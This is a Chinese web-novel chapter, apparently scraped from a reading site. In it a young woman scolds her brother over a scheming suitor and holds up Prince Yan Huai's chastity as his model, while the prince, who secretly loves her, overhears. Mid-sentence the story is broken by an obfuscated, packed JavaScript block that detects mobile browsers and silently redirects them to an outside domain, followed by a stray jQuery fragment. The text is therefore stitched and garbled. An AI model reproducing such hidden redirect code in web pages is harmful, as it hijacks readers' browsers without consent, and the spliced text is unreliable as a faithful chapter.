第五十七章:瑾王殿下洁身自好

作品:《早死白月光回归,手撕全家反派剧本

    林月妩眼角余光瞥见祝元穗难看的脸色。


    心里哼笑一声,不过是个小丫头,想跟她斗?


    她这番姿态放得足够低,理由也足够冠冕堂皇。


    以祝祁安那温吞又对自己痴心的性子,定会信上七八分。


    林月妩目光灼灼盯着祝祁安,瞧着他面上挣扎,正准备再加一把火。


    旁边却忽地传来那小姑娘的声音。


    “祝祁安。”


    祝元穗将眼底的怒意收起,小脸冷冰冰一片。


    “你今日不同我回去,往后便也不要回祝府了。”


    林月妩心中一紧,下意识看向祝祁安。


    又是一个抉择,又是一个她和这个所谓远房妹妹的抉择。


    林月妩压下心中怨毒,无辜的面上更添几分委屈。


    那模样好似只要祝祁安选择祝元穗,她便落下泪来。


    这等委屈模样,看的祝祁安心中一乱。


    可方才她靠着燕照,那亲密无间的模样,刺的他眼底生疼。


    长姐冰冷的话音响在耳畔,犹如一记重锤。


    似乎将他敲醒片刻,祝祁安一咬牙,拉起祝元穗的手腕。


    “林小姐,天色已晚,告辞。”


    话落,便匆匆往马车奔去,将林月妩丢在花凤酒楼的门口。


    林月妩眼中错愕和怨毒交织。


    一方上好丝帕几乎被绞烂,贝齿咬住下唇。


    往日里的清冷和无辜消失不见,只余下无边怒火。


    祝府。


    刚踏进前厅,祝元穗厉声呵斥:“祝祁安,跪下!”


    祝祁安噗通一声,无比听话。


    “祝祁安,你让我说你什么好啊。”


    她猛地停步,指尖又差点戳到他鼻尖,“你那聪明的脑子为何总在关键处就拎不清?人家说句误会,你便信了,怎么?非要他们两个当着你的面亲一个,你才死心不成?”


    祝祁安垂着头,像个做错事的孩子。


    俊朗的脸上满是狼狈和痛苦,讷讷道:“长姐,我知错了……”


    “知错?”祝元穗气呼呼地坐到椅子上,端起凉透的茶猛灌一口,冷呵一声:“你不是知错,你只是怕我责罚你。”


    她放下茶杯,又像想起什么似的,语气带着恨铁不成钢。


    “瞧瞧人家瑾王殿下,多少贵女前仆后继爬他床榻、写情诗、丢香帕、诉衷肠,阵仗比打仗还大。”


    “结果呢,人家是左手一个扔出窗,右手一个丢过墙,坐怀不乱,心如止水,那叫一个铁石心肠,六根清净!”


    “你跟他认识多少年了?这点儿坐怀不乱的功夫,怎么一点没学着?反倒被人勾得五迷三道,恨不得把家底都掏空送上去。”


    祝元穗越说越激动,刚巧身边有燕淮这个例子。


    言语便夸张几分,只为给二弟做个表率。


    至于燕淮到底有没有自己说的这么清心寡欲,洁身自好。


    不重要!


    而此时,这番话也一字不差,落入门外一个玄色身影的耳中。


    燕淮僵硬的站在夜色之中,敲门的手顿在半空中。


    一向慵懒漫不经心的脸上多了些愁色。


    这个“榜样”,他能不能不做?


    分明不是心中无女人,而是被一个叫祝元穗的丫头给占满了。


    偏生旁人都看得出,就这丫头看不出。


    里头祝祁安听完,反应比燕淮还大。


    特别是那句“坐怀不乱六根清净”,害得他嘴角都忍不住抽搐了一下。


    瑾王殿下心中无女人当真是至今最好笑的笑话了。


    一瞧见他家长姐,燕淮便好似走不动道儿。


    满眼情意几乎都溢出来。


    也就长姐对此事很不敏感,根本未曾察觉出他的心意。


    燕淮豁出性命去救人,被她当成是在报小时候的**之恩。


    爱屋及乌对他们兄妹三人照顾有加,也被长姐当成是青梅竹马的好心好意。


    这么一想,燕淮好似比他还要凄惨,对着的是阿姐这个榆木脑袋。


    祝祁安满心吐槽不敢说出口,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068324|178008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能在心里胡乱翻涌。


    祝元穗瞧着他那副低头认错却明显神游天外的样子,更是气不打一处来。


    知道不可一蹴而就,祝元穗深吸口气。


    摆摆手,小脸上满是倦色:“罢了罢了,跟你这猪脑子说不通,今日之事你自行反思。”


    说罢,她起身,朝着自己院子走去。


    祝祁安回头,瞧不见了长姐身影,如蒙大赦,自地上站起。


    刚松了口气,一抬头,就瞧见门外廊檐阴影下,燕淮那颀长的身影立在昏黄灯光之中。


    看起来像是站了有一会儿。


    也便是说,方才长姐训他、夸赞燕淮的话,全被这厮一字不落的听到了。


    祝祁安面色变了变。


    方才长姐那番教诲,犹在耳边。


    一想到燕淮是为了长姐,空悬正妃之位,拒绝无数贵女,一等便是经年。


    祝祁安竟生出几分同病相怜之感。


    他们二人的情路竟都是如此坎坷。


    他叹了口气。


    “殿下……”


    燕淮脚步微顿,侧目看他,眸中带着询问。


    祝祁安迎上他的目光,那眼神复杂难辨,语气却带着推心置腹:“殿下待我祝家恩重如山,祁安铭感五内,方才……长姐训斥我的话,想必殿下也听到了。”


    祝祁安顿了顿,似乎在斟酌如何表达才不显得唐突冒犯。


    “长姐如今十六,归家不久,性子跳脱,对男女之事好似完全不开窍,殿下,若不然,别等了吧。”


    没有回应,还会因着她的情绪而辗转反侧,这种感觉实在是酸涩难忍。


    燕淮:“……”


    燕淮面上表情凝固,目光沉沉,盯着祝祁安那张露出“我俩真可怜”的脸。


    这臭小子,指定误会了什么。


    年纪大点怎么了,男大三还抱金砖呢。


    兄弟义气呢,不仅不帮忙撮合,反而上来就劝退。


    还嫌他老?


    好,很好。


    祝祁安,你好得很!